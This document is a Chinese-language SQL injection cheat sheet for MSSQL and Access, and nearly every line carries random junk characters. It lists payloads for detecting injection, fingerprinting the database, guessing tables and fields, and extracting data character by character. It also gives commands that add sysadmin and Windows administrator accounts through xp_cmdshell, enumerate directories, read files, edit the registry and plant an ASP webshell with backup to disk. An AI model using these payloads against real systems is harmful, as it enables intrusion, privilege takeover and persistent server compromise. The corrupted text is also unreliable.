1.判断是否有注入;and 1=1 ;and 1=2 wHZW `
2.初步判断是否是mssql ;and user>0 <H3ezv1M
Wc3kO'J
3.注入参数是字符'and [查询条件] and ''=' fy@avo9
Dih6mTP{
4.搜索时没过滤参数的'and [查询条件] and '%25'=' r?m+.fJB
^L1L=c;,
5.判断数据库系统 (Q[fS:U
76tdJ!4Z
;and (select count(*) from sysobjects)>0 mssql \y6OUM2y
`.x$7!zLC
;and (select count(*) from msysobjects)>0 access .Xm(D>>k
~AYN
Y^Nuz/
]3ONFa
6.猜数据库 ;and (select Count(*) from [数据库名])>0 }7fZ[J3
'[$)bPMHl
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 7*j
(*
gM>t0)mGK
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 L!/\8-&$P
4${jr\q]
9.(1)猜字段的ascii值(access) V^y^
;0I}[
')a(.f
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T@}|zDC#
.)1_Ew
(2)猜字段的ascii值(mssql) _(J&aY\
g&dPd7
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 KKA~#iCk
|r
ue=QZ
10.测试权限结构(mssql) z"D.Bm~ ]
tH=P6vY
T|&[7%F3"
PFUO8>!pA\
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- l1ZY1#%j
PcB_oG g
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- f>BWG`
gVeEdo`$<
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- fQrhsuCrC
Z,BC*
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Ehzo05/!
&DqE{bBd!
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- dd2[yKC`
Y|8vO
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- d0'JC*
5J8r8` t
;and 1=(select IS_MEMBER('db_owner'));-- imQURC
}QZQ3@
IH$0)g;s
b~dIk5>O
11.添加mssql和系统的帐户 B?VhIP e
sLE#q+W
;exec master.dbo.sp_addlogin username;-- e1//4H::t
;exec master.dbo.sp_password null,username,password;-- A+@&"
rt
JtK6t
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- oYWR')8g
0G!]=
;exec master.dbo.xp_cmdshell 'net user username password jYNrD"n
</uOe.l>Q
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- >-&R47G
&A#~)i5gF
;exec master.dbo.xp_cmdshell 'net user username password /add';-- rD>*j~_+P
T843":
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- F~ Lx|)0M
Em[DHfu1Q
JNcYJ[wqv
L(GjZAP
12.(1)遍历目录 j*xV!DqC
c8Z wr]DF
;create table dirs(paths varchar(100), id int) vb9OonE2
E2)h?cs
;insert dirs exec master.dbo.xp_dirtree 'c:\' hsu{ey p
fnx-s{c?
;and (select top 1 paths from dirs)>0 q7u'_R,;
UMX@7a,[3
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Z{'i F
tTd\|
X.`~>`8
!3T&4t
(2)遍历目录 fM^[7;]7e
KZ~*Nz+H2
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- R$zH]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6q
2_WX
q -8t'7
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Ty88}V
fhB}9i^]tg
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 0p89: I*0
UA|u U5Q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1}~(Yj@f%
4Qn$9D+?
K98i[,rP
TX
13.mssql中的存储过程 "Ks,kSEzu
:1Sl"?xU
xp_regenumvalues 注册表根键, 子键 {k rswh3
jt+iv*2N>
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )>BHL3@
4@xE8`+bG
xp_regread 根键,子键,键值名 1?Z4K/
;;&}5jcV
;exec xp_regread -W>'^1cR
F-6c_!
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 \TU3rk&X
Uix6GT;
xp_regwrite 根键,子键, 值名, 值类型, 值 Z0l+1iMx
K_&4D'
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 QY= = GfHt
Y3Q9=u*5
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4j)tfhwd8
aMTu-hA
xp_regdeletevalue 根键,子键,值名 qx%}knB
Hc`A3SMR
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Bj7gQ%>H4
irjP>3_e
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 m# =z7.XrX
$ `7^+8vHV
>rvQw63\
CirZ+o
14.mssql的backup创建webshell jlxpt)0i
2#k5+?-c61
use model H/}]FmjN
5eWwgA
create table cmd(str image); "yW:\
7%sdtunf`
insert into cmd(str) values (''); NFv>B>
^Ox3XC
backup database model to disk='c:\l.asp'; zl`h~}I
8g7<KKw
-44l^}_u
j)q\9#sI/(
15.mssql内置函数 {p,]oOq\
NF?
vg/{
;and (select @@version)>0 获得Windows的版本号 CD8}I85K
ZK)%l~J
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 33}oO,}t,
U,LTVYrO
;and (select user_name())>0 爆当前系统的连接用户
Tgl}
A<ynIs<
;and (select db_name())>0 得到当前连接的数据库 G$sA`<<
71l%MH
TiH)5
`/_G$_
16.简洁的webshell 4ni3kmvX
M+x,opl
use model 0x!2ihf
Fgh]KQ/5
create table cmd(str image); QPq7R
b6*!ACY
insert into cmd(str) values (''); ]~Z6;
0#MqD[U(
backup database model to disk='g:\wwwtest\l.asp';